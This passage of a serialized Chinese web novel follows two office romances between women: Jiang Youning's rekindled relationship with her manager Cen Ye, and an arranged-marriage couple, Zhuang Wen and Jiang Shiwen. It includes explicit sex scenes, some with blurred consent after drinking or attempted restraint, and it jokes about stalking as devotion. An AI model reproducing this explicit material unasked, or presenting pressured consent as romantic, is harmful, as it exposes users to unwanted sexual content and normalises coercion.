“怎么能这样……”姜又柠为岑曳打抱不平,“几个月前我们部门都在传言要被解散了,她们还把那些零碎的工作扔给我们做,那个时候不想着合并,怎么这个时候就来了……” 庄玟扫她一眼,“放心好了,岑曳也就是看着脾气好而已。” 姜又柠抬眸对上她的眼神才迟钝地反应过来她是在跟自己说话,“我不知道她在工作上遇到类似的问题或者别的麻烦是怎么处理的,又是什么态度。” 她对于国外的岑曳了解的很少。 以前恋爱的时候,岑曳的工作是特意挑选的加班时间不多的,就是为了陪她。 那个时候她太幼稚,不成熟,从来不去细问岑曳的工作忙不忙,烦躁不烦躁,她只知道,岑曳在见到她的时候,脸上总是带着笑的。 从前和现在,她对于工作状态下的岑曳都了解得不够多。 “没问过她在国外的情况?”庄玟倒是有些意外,“早期在总部为了站稳脚跟,都敢从高层那边抢人,连她妈妈手下的老人都被说服走了一个。那张满是笑容的脸,认真起来可毫不手软。” 庄玟顿了几秒,“岑曳确实跟她妈妈很像。” “不像,她们不像。”姜又柠罕见地反驳庄玟,随后意识到自己的冒昧,又垂下头不说话了。 出了电梯她大步往前走,在跟江诗文约定好的餐厅坐下。 三个人点了几个小炒菜,这顿饭吃得很安静。 姜又柠心不在焉的,还盯着微信,但吃过了饭都没等到岑曳发来的消息。 “另个部门怎么这么难缠?”姜又柠低声吐槽一句,午休都睡不着了。 她抱着抱枕靠在椅背上,左右晃着办公椅盯着会议室的方向。 “柠柠你睡会儿吧,不然下午工作没精神。” “没事儿,我一会儿点杯咖啡,你要吗?” “要……”江诗文打了个哈欠,脑袋换了个方向继续睡觉了。 下午三四点的时候,会议室的门终于开了,裏面乌压压地走出来一大片人。 部门裏的人也都等着看戏,看到另个部门的人脸上都灰头土脸的,忍不住笑,不过没敢发出任何声音。 岑曳抬手示意小助理跟着自己回办公室,低头在手机上回了几个消息。 姜又柠目送着她走回,看见她对着自己露了个短暂的笑脸。 低头一看,手机上有条微信。 【岑曳:不用担心,已经解决了。】 【岑曳:很多特殊情况总会突然冒出来,下次我不在也要好好吃饭知道吗?】 姜又柠回了头猫猫点头的表情包,放心地呼出了一口长气。 终于在办公室坐下,岑曳收敛了笑容,吩咐助理道,“今天下班前把另个部门的人员名单给我一份,还有过往参与的项目,总部那边重点对接过的要标明一下。” “好。”助理犹豫道,“岑总监,两个部门真要合并吗?我们部门的人才刚刚稳定没多久……” “挑几个突出的提拔过来而已,剩下的全部遣散。”女人的手指在桌面上轻点,“总部那边本来就只想留一个部门,现在看来,该被解散的可不是我们。” 助理点点头,明白了岑曳的话。 岑曳点开微信,这会儿终于有空仔细去看姜又柠发过来的话。 午餐前半个小时,询问她的会议什么时候结束。 午餐时发来的几道小炒菜的图片,还有一起吃饭的人。 午餐后说自己睡不着,还说想她。 岑曳扬了扬嘴角,姜又柠在担心她。 这点小事儿很好处理,对于她在总部遇到的那些难题,现在无非就是会花费点儿时间。 总部那些人精,从来不在表面上做虚假的功夫,而国内这些人,确实需要她浪费些时间来进行一些毫无意义地沟通。 姜又柠在担心她…… 姜又柠在担心她! 姜又柠担心她担心地寝食难安,饭吃不好,午休也睡不好…… 小小的脑袋裏明明装不下太多东西,却满满的都是对她的担忧。 岑曳阖了眼,闭目养神,脑子裏忍不住幻想姜又柠皱着眉头忧心忡忡的模样,最后还是忍不住独自在偌大的办公室裏笑出了声- 昨天从集体宿舍那儿回来,姜又柠哭得可怜,岑曳带着她吃了顿好的,两个人抱着早早睡下了。 傍晚两个人准时下班,这次终于在小区楼下吃上了馄饨。 “你下午什么都没吃吗?”明天还要上班,晚上不熬夜了,所以姜又柠只点了份馄饨,不想吃得太饱,不然不消化睡觉的时候不舒服。 “不饿,再说了事情多,把时间用来吃饭的话,又该让你等我了。” “我可以等你的啊,我又没有怨言。” “我心疼,行吗?” 姜又柠压了下嘴角,又帮女人点了个肉夹馍。 现在岑曳在一日三餐这方面还真是跟她吃成一模一样的了,以前从来不吃的苍蝇馆子也能一周一次;泡面她硬喂也能皱着眉头吃上一小口;还有这些随处可见的小饭馆,岑曳也能进门就坐,不会再拿着纸巾深呼吸着将桌子和椅子擦来擦去了。 热气腾腾的肉夹馍很快就送了上来,姜又柠闻着嘴馋,露着个牙问,“我能不能吃一口?就一口?” “行啊。”岑曳欣然应允,但没立即送到她嘴边,反而问道,“那你说句好听的。” “就吃个肉夹馍,还要我说什么?” “你以前找我要巧克力的时候,是怎么喊我的?” 什么姐姐,岑曳姐姐,求求你了给我吧,嘴馋到急起来的时候姜又柠连‘姐姐比妈妈都好,所以姐姐就是妈妈,岑曳姐姐就是我的新妈妈’都能喊出口。 可现在的她,不是当初那个可以为了一斗米折腰的姜又柠了。 她高风亮节!她宁死不屈! 这肉夹馍她还就不吃了。 “岑曳!” 她刚气冲冲地喊完,女人就咬下了第一口,不过是边角处肉不多的地方。 “我平常不就是这么喊你?你自己就叫这个名字,我喊还是我的错了?”姜又柠委屈得很,“小时候你哪裏会这样啊……我不喊你姐姐还不是因为现在你这个人特坏嘛……” 眼看着她眸光蕴上了一层水雾,岑曳戳穿她,“行了行了,别装哭了。” “张嘴。”肉夹馍中间肉最多最好吃的地方被送到姜又柠嘴边,她立即咬了一大口。 姜又柠舀了勺馄饨汤送进嘴裏,满足地眯了眯眼睛。 吃饱之后,姜又柠就开始晕碳,发困地撑着下巴,眼睛都有些睁不开。 她等着岑曳结账回来,自己懒洋洋朝着她伸出手,“好困,走不动了……” “背你?”岑曳把她拉回来,姜又柠身上的骨头跟化开了一样,软绵绵地倒在女人怀裏。 “不要背,会压得我肚子不舒服……” “那抱你?” 姜又柠走到店门口,脑袋自动去寻找女人的胳膊靠。 “跟小时候一样,懒得很。” 岑曳胳膊打完将她打横抱起来,姜又柠的脑袋埋住藏起来,“我们走地下车库好不好?小区这会儿人多着呢……” “还知道丢人啊?” “哪裏丢人了?我让我姐姐抱着,丢人吗?” 岑曳听见她的称呼,勾唇笑,“这个时候想着喊我了?” 姜又柠将脑袋埋得更深,双手也揣在一起,像只害羞的猫。 她想起小时候自己吃饱,不想上楼梯,非缠着岑曳抱她。 岑曳问她真走不动了?姜又柠还装模作样走两步,下一秒就往地上摔,还专门往有毛绒绒地毯的方向倒。 这小姑娘倒是知道摔了疼,最后还是岑曳心甘情愿地抱她回了卧室。 刚开了门,姜又柠就从女人的怀裏跳了下来,她接了杯温水喝了一口,将杯子递到女人嘴边,“你要不要喝?” 岑曳就着杯口抿了口,视线从白色杯子慢悠悠挪到了她的脸上,嘴唇被水润过,波光粼粼的,看起来分外好亲。 她拿过了姜又柠手裏的杯子随手放到一边,姜又柠对上她的视线,一眼就看清了女人眸光逐渐蔓延的情/欲。 女人笑了声,指腹擦掉姜又柠嘴唇上的水渍,描绘着她饱满的唇形。 姜又柠被她盯得口渴,只能吞咽了下口水。 她现在并不会躲避亲吻了,于是不知道是谁先主动的、又是谁先吻到的谁。 她们接吻的次数太多了,对方的节奏都能够掌握得清清楚楚。 女人的舌尖抵了抵她的牙齿,姜又柠就乖乖地张开了唇,要女人轻而易举地探了进来。 岑曳抿了下唇,舌尖换成了手指,指节压在她的下牙上,指腹搅动着她的舌头,带出了些津液。 姜又柠羞赧得呜咽了一声,她直勾勾盯着女人游刃有余的眸光,自己却被‘玩/弄’得脸色发昏、脸红心跳。 手指都变得湿漉漉的,岑曳收回了手,再度吻了上去。 就像延迟满足一样,暂停了几分钟的二次亲吻要比第一次的感觉来得更加汹涌,哪裏都变得波光粼粼、一塌糊涂。 女人勾着她舌尖,重重地吮吸,舌头很快变得发涨发麻,脑子都嗡嗡的,像踩在了云朵上,轻飘飘的不像样。 长发散在沙发上,姜又柠仰起脖子,感受到轻吻落在了她白皙的脖颈。 “岑曳……”姜又柠抓住她向下的手腕,用雾蒙蒙的眼睛制止她。 岑曳双手撑在她两边,“说句好听的我就饶了你。” 她还记着馄饨店的仇。 姜又柠怕折腾到太晚明天又起不来,所以这次学乖了,“姐姐……岑曳姐姐……” 太久没有听过多如此认真的称呼,像有一道急促的电流瞬间蔓延了女人整个全身。 她不想放过她了。 指尖落在瀑处,勾着棉质料子不轻不重地揉搓,姜又柠闷闷地尖叫了声,“岑曳……我都喊你了!” “我们柠柠是不是忘了?”女人乐了,“这个时候,喊我什么都没用。” 她吻着她的肩膀,舌尖轻轻舔舐,姜又柠拽着自己被脱掉的衣服不肯撒手,可怜兮兮地看她。 “挡着也行。”岑曳瞧了瞧被揉得一团乱的衣服,“要不要挡着你的手?” 姜又柠没听懂,发觉到女人打算用袖子捆住她手的时候,她才开始挣扎,“这系得不完整!不可以!” 她双手推搡了下,那衣服直接被岑曳随手扔到了一边,“行,听你的,那就不系了。” 姜又柠愣了下,她又被这个坏女人套路了,这下能挡着她肌肤的衣服都没了。 吻依旧没停,岑曳似乎很喜欢用嘴巴帮助她,像品尝果冻一般,牙齿轻咬、含在唇中翻来覆去地抿。 裏裏外外的肉都被牵扯着,细微的胀痛伴随着接连不断地刺激,姜又柠咬着下唇,手抓紧了女人的长发。 “刚刚喝了多少水?”岑曳问她,将掌心亮给她看,“这么快就白喝了。” 姜又柠避开脑袋,“……让你喝你又不喝,非要抢我杯子!” “现在不是正在喝吗?也是你喂给我的。” 姜又柠想要捂住耳朵,可女人双唇微动,她又忍不住攥紧了女人的长发,插/入她的发丝,扯了下发根。 刺痛让女人的动作快了些,姜又柠夹了下她的头,又被充满警告意味的掌心重重拍了好几下。 烦死了…… 姜又柠晕乎乎地哼唧了几下,小声地喊着岑曳的名字。 “嫌我做得不够?” 姜又柠可怜兮兮地摇头,却得到了女人更加汹涌的唇齿报复,她开始胡乱地喊她。 喊她想听的姐姐,发出她喜欢的说不清一个字的呜咽声。 她晕头转向的,不知道什么时候被岑曳抱着坐到单人沙发上,温水递到了嘴边。 “……我不要喝水了!” “不口渴吗?”岑曳望了眼旁边的沙发,“我都怕你脱水。” 姜又柠实在没力气推脱了,耳边还嗡嗡的,甚至都有了细微的耳鸣声。 她听话地张开唇,满足地喝光了一大杯水。 “还喝吗?” 姜又柠摇摇头,瘫在女人的怀裏大口喘着气不说话了。 岑曳抱住她,放了个抱枕塞在身后,就这样抱着她哄睡。 姜又柠闭着眼睛,小小地为自己嘆了口气。 日常生活的岑曳是温柔的,但在这种事情上却格外强势。 女人从来不隐藏对她的欲/望,姜又柠想起了从前她们关系最上头的时候。 岑曳每天都会准时下班,而她也不会在学校过夜,两个人就在岑家的玄关处一路吻到沙发,再赤/裸着上楼,衣服掉得哪裏都是。 姜又柠被吻得头皮发麻,岑曳吻她又凶又狠,用亲密刺激彻底剥夺掉她对于凌乱的焦虑。 直到她们都没注意力去思考别的,直到她们大汗淋漓地躺在床上,弄脏了一套套床单。 那又如何呢? 反正家裏没别的人,她们在哪裏睡觉都可以。 现在她们再次合租同居,虽然连复合的事情都一字未提,但好像都彼此心照不宣地做了好多次。 身体被最原始的行为所支配,她的理智早就没办法占据上风了。 身体依旧酸酸的,姜又柠抬起个胳膊都累。 都怪岑曳,都是岑曳的错。 明天她又起不来怎么办?她还是优秀员工呢! 今天才十一月二号,她的全勤可能又要完蛋了……—— 作者有话说:[捂脸偷看][捂脸偷看] 第55章 次日十点多了, 姜又柠都没有看到江诗文来上班。 她给她发了好几条消息也没见回,周一的例会放到了今天早上来开。 补卡这下是没希望了,请假条没发给人事的话, 那就得算旷工了。 今早的例会还说了另个部门的事情,岑曳定了军心,说现部门已经稳定, 除了内部原因之外,不会因为别的部门再受到任何影响。 她讲完之后, 本应该轮到庄玟了, 但这个女人不知道去了哪儿, 一早上都没见到人影。 开完会就十一点多了, 最近考勤制度和工作氛围明显轻松不少,现在不少人也敢在十一点多就出门吃饭了。 这会儿姜又柠才给江诗文打了电话过去,那边很久才接,语气迷糊。 “诗文, 你还没起床吗?例会开了一上午, 你给人事请个假吧。” ——“十二点了啊……!”江诗文的语气明显震惊了,“好,我请个一天的假!” “请一天做什么?下午跟我一起去上班。” 姜又柠听到另一道熟悉的声音,愣了下,后知后觉地意识到这通电话她不该打的。 江诗文跟庄玟是一起厮混到床上去了, 所以两个人今早都没能来上班吗…… “那你先起床吧, 诗文。”姜又柠挂掉电话, 将手机捂在胸口,看见岑曳从办公室出来之后,跟着她一起打算下楼吃饭。 岑曳抿着唇,表情不怎么好, 正在打字快速发着消息。 “发生什么事儿了?” “庄玟怎么搞的?说好了午休之后去见合作方,一上午消息都不回,助理都联系不上她。”岑曳担忧道,“应该没出什么意外吧?” 按照庄玟工作狂的性格,无论是打雷下暴雨,还是臺风带闪电,都会准时准点来上班的。 现在这个人消失的情况,太不应该了。 “我刚刚跟诗文打电话了……”姜又柠不知道自己该不该说实话,“好像听到了庄总监的声音……” 岑曳愣了下,“……这两个人。” “她俩怎么回事儿啊?” 姜又柠不好频繁过问江诗文的状况,也只能看这两个人平日在部门内‘眉来眼去’地送礼物。 休息时间她也一直跟岑曳黏在一起,最近倒是好久没跟江诗文聚餐了。 “不太清楚。”岑曳抿唇,手裏的电话终于打通了。 ——“在哪裏吃饭?我半个小时之后到,帮我点份午餐。”“我也要吃!!” ——“……”庄玟说,“两份。” 岑曳拉过姜又柠的手走出电梯,姜又柠避讳着被部门裏的人发现,挣扎了下松开了她的手。 女人回头看她一眼,姜又柠摸摸脸,若无其事道,“怎么了?” 在岑曳的手打算二次牵上来的时候,姜又柠就快步跑到距离最近的一个餐厅,“我们还去吃这家小炒菜吧!味道很不错对吗!” 饭点人不少,点好的几道小炒菜是跟两个人一起到的。 江诗文的表情非常不自然,还戴了一条丝巾,姜又柠立即意会。 今天天气很暖和,正午这会儿还有太阳呢,戴丝巾的意图不言而喻。 而庄玟是雷打不动的西装,衬衫扣子系得一丝不茍,微动一下就会有不算明显的淡粉色痕迹露出来。 看来昨晚的战况很激烈啊…… 姜又柠不得不感慨一句,岑曳还是有分寸的,她们都不怎么喜欢在脖子上留痕迹,原来在别人眼裏这么明显啊。 这次的饭桌上没有针锋相对了,岑曳快速跟庄玟过了下合作方的信息,不到半个小时四个人就再次坐上了电梯。 姜又柠跟江诗文站在两个女人后面,她钻出个脑袋用手指勾了下江诗文的丝巾,被她拍掉了手。 “给我打红了你……”姜又柠盯着自己立马发红的手背。 “小孩子别乱看!”江诗文制止她。 “可是我比你大两个月哦!”姜又柠一字一句地反驳她,顺势凑近她的耳朵,“你们昨晚发生什么了?” “喝多了而已。” 江诗文回忆了下昨晚,她势必要证明给庄玟看,那个强吻的帖子根本就是在胡说八道! 但庄玟翻出原帖子给她看下面的热评,每个人都在侃侃而谈自己的亲生经历。 “这些人都是瞎编乱造的,你点进去她们主页看看,有好几个都是卖东西打广告!在爆贴下面到处留言!” 庄玟喝了口红酒,没回答。 江诗文一下子就看出来她这是说服不了自己,选择懒得理她。 “强吻只会得到别人的讨厌!” “那你现在很讨厌我?”庄玟反问她。 “我不仅仅是只有现在讨厌你。”江诗文冷哼一声,“过去,现在,还有将来的每一天!” 庄玟不想跟她重复这种说了一百遍的无意义对话,点开评论区再次细细品味,“这些人说得还是挺有道理的。” “你宁愿信网上无聊的帖子都不愿意信我?” 女人嗤笑一声,“你又没谈过恋爱。” “那也比你有经验。” “中午我看你脸都红了,没效果吗?” “你……”江诗文不得不承认,这个女人长着一张漂亮的性冷淡脸。 问题是别说强吻了,漂亮的女人壁咚她的话她都会脸红心跳的。 母胎单身这么多年,她幻想过不少次自己能有一场入室抢劫的爱情。 现在爱情真是入室抢劫了,但庄玟就像是劫匪站在她面前说,‘钱你爱给不给,反正我也有,反正你要陪我玩绑架的play。’ 如果她说她不要玩,庄玟就会立马推门离开换下一家继续入室抢劫。 “你现在能离开我家吗?”江诗文受不了她了。 总部都给庄玟这边安排了公寓房,还是标准的套一,一个人住着不比她这裏舒服吗? “我们不是约定好了,有时间的话就在一起发展感情?” 这该死的劫匪不乐意走了,非要抢劫她这一家。 “我宁愿加班。”江诗文狂饮了一大杯红酒。 现在庄玟倒是学会不跟她一起在休息时间工作了,但每天都要在网上认真地看一个小时的恋爱帖子,还保证了会给她提供良好的恋爱氛围。 “也行,不过你这裏有单独的插排吗?”庄玟在客厅望了一圈,没找到位置合适的插座,“我的电脑好像没电了。” 江诗文不说话,只是一味地喝酒。 “要喝这么多吗?”庄玟没拦她,只是隐约记得江诗文的酒量不太好,而且酒品很差。 “想喝,你别管我了。” 庄玟点点头,在搜索框裏输入—— 女朋友喝醉了该怎么办? 评论区简直是在发大水。 她扫了几眼关上手机。 这样趁人之危真的好吗? 还是算了。 江诗文抱着自己的双腿看向面前的女人,“什么时候回去领结婚证啊?” “快了吧。”庄玟翻了下手机,在她跟母亲保证会跟江诗文结婚之后,那边就没消息了。 反正也商议好了,后续股权分配由两个母亲商讨决定,她不用参与这件事情。 “我听说你还有个妹妹?”看见女人点头,江诗文继续问,“那怎么不让她来跟我结婚?” “她还在澳洲上大学,年纪比较小。”庄玟的表情掠过一丝难以察觉的不耐,“毕业之后会留在我们庄氏工作,不打算去总部应聘。” “我说呢,怎么没有见过她。”江诗文又喝了一口酒,“她性格好吗?如果跟我一样可爱的话,我也愿意等她几年。” “喝醉了?” “好亏哦……”江诗文鼻子酸酸的,“我还没有谈过恋爱呢,就这样被包办婚姻了。” “我真有这么差?”庄玟产生了自我怀疑。 她社交频繁,倒是能够从阿谀奉承的那些人口中听出哪些是在拍马屁,哪些是真话。 这群人可都说她有能力,以后结婚跟她同样厉害的女人可不好找。 “也不是差吧,就是跟我不来电。”江诗文认真想了想,又拿过一个抱枕可怜兮兮地抱住,“感情还是得看感觉吧?我们有感觉吗?” “哪方面?” “哪方面……”江诗文呆呆地看她,女人解开了衬衫的几颗扣子。 江诗文抿唇,口干地吞咽了下。 干嘛突然解扣子…… “江诗文。” 江诗文抬眸看她,彻底呆住了。/ 女人站在灯光下,挡住了大半的光亮,修长的身影洒在江诗文的脸上,完全暴露了她的呆滞。 庄玟挽起袖口,“总得试试才能知道有没有感觉。” “你要跟我……日久生情吗?” “也行,在哪裏?床上?沙发?” 江诗文干笑了下,她该感谢每日一小时的恋爱帖子吗? 这个女人现在连这种成语的深层意思都清楚了。 “你真的没有想过,这种事情一定要跟喜欢的人才可以做的吗?” 庄玟面无表情,语气平静,“无所谓,你想的话就可以,不乐意就算了,过段时间能心甘情愿跟我回去领证就好。” 她多花些心思就好了,顺着江诗文的意愿,好好地把证领了,成功把庄氏并入总部,这样她的目的才能够达成。 “烦死你了!”江诗文将抱枕扔到她身上,光着脚跳下沙发搂过女人的腰,主动踮起脚尖吻上了她的唇。 庄玟很擅长观察人心,在这种时候也能瞬间捕捉到江诗文身体上每一个细微的反应。 “不是……你慢一点……” 庄玟皱着眉头,“但快点儿你好像会更舒服,这个时候还要跟我打岔?” 江诗文要气死了,被她手口并用、接连不断的动作搞到发疯。 这个女人真是不懂得怜香惜玉! 晚上几点结束的她也完全不记得了,只知道中午的时候接了一通来自姜又柠的电话。 …… 江诗文拿过镜子立在桌子上,小心翼翼地将丝巾勾下来一点,“刚开荤的女人下手真是没轻没重的……” “你说你自己吗?”姜又柠吃着岑曳送过来的果切,心情惬意。 “当然不是!” “我看庄总监脖子上也挺明显的,她真不打算挡挡?” “给她拿丝巾了,她不要,她说这有什么?” “你们的关系好像部门裏的人也都差不多知道了吧?”姜又柠说,“她要是不遮挡的话,那不是全部门都知道你们……” “糟了!我都忘了!”江诗文从抽屉裏找出不知道猴年马月的一条丝巾,气冲冲就朝着庄玟的办公室去了。 没几分钟她就又回来了。 “去晚了,她已经跟岑曳姐出门跟合作方见面去了。” 姜又柠双手敲着键盘,抿唇笑了笑,没有说话。 “对了柠柠。”江诗文趁着没人注意这边,将丝巾取下来重新戴了上去,“我跟我妈妈说过了,之后我回去领了证之后,我还可以回来国内生活的,不过应该没办法像现在这样天天坐在工位上跟你见面了。” “没事的,你先以你自己为主嘛。” “哎呀我知道现在你跟岑曳姐要复合了,已经不需要我这个小伙伴陪你咯!” “你又在瞎说了……”姜又柠嗔怪地看她一眼,“回头我们找个机会聚餐吧,虽然不知道你什么时候会走。” “当然好呀!不过前几天跟着庄玟一起开总部会议的时候,岑阿姨还跟我聊天了,就是岑曳姐的妈妈。” 姜又柠的心脏倏地抽痛了下,双手僵硬,“说,说什么了?” “就是问问岑曳姐的情况,她们母女现在好像有矛盾,不怎么说话的。”江诗文满脑子疑惑,“小时候在国外也见过几次岑曳姐的,那个时候她们母女关系很好的呀!难道是现在成年了,所以母女关系就生疏了?但我跟我妈妈也还是很好呀!你跟你妈妈也很好呀!” 江诗文啰啰嗦嗦说了一大堆,可姜又柠完全没注意力听。 她现在很恐慌听到岑千兰这个名字,尤其是别人聊起她时,不是总部高层这个身份,而是岑曳的母亲。 总会让她觉得,她跟岑曳的关系似乎又一次陷入了泡沫般的幻想中,不知道什么时候就会再次破裂。 “她,还有说别的吗……?” “没问了,她还问了问我,问我有没有在国内交到好朋友。” 这家伙怎么说话说半截,姜又柠的心一上一下的,快要从嗓子眼裏吐出来了。 “我就说了你呀柠柠。”江诗文说,“她说她记得你,说是之前家裏家政的女儿,夸你可爱呢。” 姜又柠的嗓子突然一阵反胃,涌出些许苦涩的感觉,她鼻子发酸,满肚子的委屈倏地汹涌袭来。 “怎么了怎么了?我说错什么了?”江诗文大惊,立即给她用纸巾擦着眼泪,“之前你在岑家的时候受委屈了?是不是岑阿姨太凶了?她看着是不太好相处,小孩子确实挺容易怕她的,我小时候也是!” 姜又柠摇摇头,张了张唇无从开口。 岑千兰明明什么都知道,就像当初那样,但她不会及时出来表明态度。 一到了会影响岑曳前途的时候,她就会站出来表态。 这种已经经历过一次的事情,让姜又柠现在在感情上变得毫无安全感。 互相喜欢怎么样? 有了新房子又怎么样? 如果岑千兰再次出现在她的面前,她还是无法坚定地做出想要的选择。 这个白手起家,经历了无数风雨的女人从不会明显地暴露自己的鄙夷,但姜又柠每每跟她同处在一个环境下,自己的自卑就会无所遁形。 她是怕岑千兰的,姜鸿英也是,不然不会在客厅做出那样求饶的举动。 岑千兰一句话可以让她上不了学,让姜鸿英没有工作,但偏偏轻轻放过了她们,好像她们根本不值得她费心。 就是可以被随时换掉的蝼蚁,没有被人类踩死,反而被人类施舍下来的面包屑压得喘不过来气。 不,不是施舍的食物,只是随便掉下来的食物残渣。 情绪一上来就控制不住,姜又柠快步走向卫生间冲洗着脸,努力平复着自己的呼吸。 最近跟岑曳待在一起,过得太幸福了,她甚至把这件根本解决不了的事情忘记了。 简直就是无法预估的炸弹,会在某一瞬间炸掉来打破她当下的美好。 心脏被致命一击,姜又柠躲进了厕所隔间,将自己关起来低声地抽泣。 过去的事情,一桩桩一件件,在脑海裏不停地闪过。 不知道待了多久,隔间响起敲门声,姜又柠呆住,咳嗽了几声示意裏面有人。 “柠柠,是我。” 听到熟悉的声音,姜又柠用力用袖口擦了擦眼睛,“我,我要上厕所……” “又在撒谎了,开门。”女人的语气颇为无奈。 姜又柠开了门,岑曳拉着她帮她洗手,用湿巾擦着她脸上的泪痕,“哭了多久?头疼不疼?” “有一点点……”姜又柠垂头看着在水流下紧密相触的四只手,脑子还是麻麻的。 她想了想,还是决定主动解释,“岑曳,我只是……” “什么都别说,好吗?”岑曳深吸一口气,“我知道你委屈,是我的错。” 她跑完外务回来看见姜又柠不在,一听江诗文解释了几句就心慌地跑过来找她。 她不敢让姜又柠往下说,她真怕听到‘我们还是不要再继续了’这种话。 听到女人的恳求,姜又柠的眼泪落得更凶了。 她的委屈只有岑曳懂,岑曳也一直懂,可又能怎么办呢? 她们都是会为彼此考虑的人,她之前不能耽误岑曳,难道现在就可以耽误了吗? “别哭。”岑曳拉着她走到大楼的某个无人角落裏,“我还在努力,好不好?我还在努力。” 她一直不想跟姜又柠说这种听起来像是空口无凭的大话,她想要用实际行动跟她证明。 这种承诺过于虚假,可她当下却不得不说。 只有她强大得再快一些,站得再高一些,才能将姜又柠毫不犹豫地拉到她身边。 “岑曳,什么时候……什么时候才可以……”姜又柠抱住她,在她的怀裏嚎啕大哭。 到底什么时候相爱的人才能够肆无忌惮地在一起? 姜又柠不知道自己今天为什么会这么崩溃,岑千兰只是问了几句江诗文而已,甚至都没提过她跟岑曳过去的感情,就让她一下子破防了。 这种无能为力的感觉真的很痛苦,而且她的负面情绪都让岑曳全盘接收了。 “相信我,柠柠,相信我。”岑曳吻着她的额头,眼眶裏也逐渐泛了红。 她只见过姜又柠这样崩溃地哭过两次。 第一次是姜又柠跟她提分手,她不愿意,最后姜又柠对着她说了好多难听话,边骂便哭,最后又对她说着抱歉,说‘岑曳我真的不喜欢你了。’ 现在是第二次。 小时候姜又柠总爱用哭发洩情绪,但情绪来得快去得快,完全就是纯真快乐的小孩子。 只有彻底控制不住自己的情绪时,才会变得这样凌乱不堪。 痛苦的回忆将两个人都打得一塌糊涂,岑曳就这样紧紧抱着她不肯松手,生怕她像过去那样说出‘不喜欢’的词眼。 下班之际,频繁路过匆匆忙忙的行人,大家各自忙着自己的事情,无人在意这小小天地裏,一对抱着互相取暖的情侣。 终于收了声,姜又柠后知后觉的丢脸意味又涌了上来。 “你眼睛怎么也红了?”姜又柠势必要把岑曳也拉到不知羞,当众哭泣的这趟浑水裏。 “怕你不要我。”岑曳牵着她的手,往办公大楼门口走,话说得格外坦荡。 “我哪儿敢?”姜又柠的声音满是沙哑,但情绪发洩之后明显轻松多了,“你这人脸皮最厚了,非要死皮赖脸地缠着我。” 岑曳脱了外套给她穿上,“对,我脸皮是厚。” 姜又柠扬了扬嘴角,知道这个女人是看她情绪不好,这会儿才顺着她。 要是放在平常,早都按着她屁股拍了。 “那你除了脸皮厚,还有什么优点?让我听听。” 女人跟她十指紧扣,“眼光好?有福气能找到你这么可爱的女朋友??” “我现在还不是你女朋友。” “迟早都会是的。”岑曳肯定道,“姜又柠,你这辈子都别想离开我了。” “真霸道啊你……”姜又柠低声吐槽一句,还是忍不住偷偷翘起了嘴角。 岑曳抚了抚她的脸,对上她的视线,“好点儿了吗?” 姜又柠怔愣了下,随后点了点头。 女人脸上的紧张终于消散了,牵着她的手也不算僵硬了。 “我是不是还跟小时候一样好哄?” “我们柠柠什么时候生过气吗?” 姜又柠轻轻哼一声,得意地笑了笑。 岑曳拉开副驾驶门,她坐上的前一秒钟,岑曳弯腰认真看她,“柠柠,我不会说太多好听话,但从小时候到现在,不管怎样,我一直都想让你开开心心的。”—— 作者有话说:[爆哭][爆哭]《 》 55-60 第56章 回到家的时候, 门口正可怜兮兮蹲着一个人。 “柠柠,你收留一下我吧?”江诗文苦瓜脸,“我在我家真的睡不下去了……” 姜又柠正巧又被岑曳背着上楼, 这会儿立马从女人身上跳了下来,“怎么了?” “庄玟开荤开得停不下来了……”江诗文有点抓狂,没仔细去看姜又柠还没完全消肿的眼睛, “我不敢回家……” 这话说得貌似有点过于严重了,岑曳先进了洗漱间, 姜又柠便在客厅听江诗文讲。 “她说, 这种事情有助于缓解工作压力, 她决定跟我每天都尝试一下!”江诗文摊手, “说看我也挺乐意的,我反驳她她还……” 她想想就头疼。 昨晚她们毫无预料的第一次确实格外完美,所以今天江诗文大发慈悲地要庄玟开着车带自己回了家。 随便塞了几口饭,庄玟就打算跟她一起洗澡。 “我这裏只有一间浴室。” “所以跟我一起洗。”庄玟思索了下, “试试浴室也不错。” 那些恋爱帖子确实没说错, 至少江诗文的反应跟大多数评论的反应如出一辙。 “你脑子裏想的只有这些吗?” “下班之后当然要做些我们彼此都乐意享受的事情。” “我不享受。” “哦,看不出来。”庄玟回忆了下,“你这叫什么?心口不一?欲拒还迎?” “明天我就要改掉我家WiFi的密码!你不准再用我家的网络在手机上看垃圾了!” “婚期的日子已经定了,你最好跟我尽快熟悉一下身体情况。”庄玟拉上客厅的窗帘,她解释得很清楚, “合适的话, 我会把我公寓的用品都搬过来, 跟你同住一间房。” 江诗文干笑了下,拿着手机和充电器穿着拖鞋就直奔了姜又柠的家。 这会儿她坐在沙发上,也不知道自己该不该回去。 手机上庄玟打了好几个电话,她也没接。 庄玟也知道门牌号, 她生怕下一秒门铃就响了。 姜又柠给她倒了杯热水喝着,“没事儿,实在不行你今晚就在我这儿睡。” “你这儿?没空房间了吧……” 姜又柠顿了下,脸色不太自然,“我,我跟岑曳睡一间就行,你睡我的卧室。” “哎呀,说得那么熟练顺口,早就每天都睡到一张床上了吧?” “别乱说话……” 聊到这裏,江诗文才想起来傍晚没下班那会儿,岑曳问了她几句就急匆匆出去找人的事情。 “不过你的情况还好吗?我本来还想着等你回来了先问问你呢,我这脑子一着急都忘完了!” “没事啊。”姜又柠摇摇头,门铃响起,两个人对视了一眼。 她打开门接过外卖,冲着江诗文晃了晃手裏的饭,“我点的外卖啦!” 姜又柠坐下来慢悠悠吃着饭,江诗文拿过她饭裏搭配的一瓶可乐拆开就往嘴巴裏灌。 “柠柠,我能再具体问问你吗?” “什么?” “你跟岑阿姨是不是……有点矛盾啊……” 姜又柠喝着粥,想着该怎么解释,“没什么的,我之前跟岑曳分手的原因就只是差距过大了。” “那为什么提到岑阿姨的时候你反应那么大?好奇怪哦……” 看见姜又柠的面容又变得不太好,江诗文及时闭了嘴,“我不问了我不问了,是我多嘴了,岑曳姐好不容易把你哄好了,回头你要是又哭了,她要找我麻烦的!” “不会啦!” “我怕嘛,岑曳姐一看就是恋爱脑,她为了你肯定什么都做得出来的!”江诗文说着就来劲,“我看的那些电视剧,什么跟踪,什么监控!为了追到喜欢的人什么变态的法子都能做!” “我建议你也断网吧……” 话题断断续续的,一茬接一茬,岑曳始终靠着洗漱间的门,安安静静地听着。 岑千兰一定私下找姜又柠沟通过的,她们闹分手那段时间,她去校门口等了她好几次,短短几天内姜又柠的态度变化得非常大。 但会聊些什么呢?棒打鸳鸯的戏码吗? 可岑千兰做事不会这么直白且不给后路的。 她猜测不到,但也无从知晓。 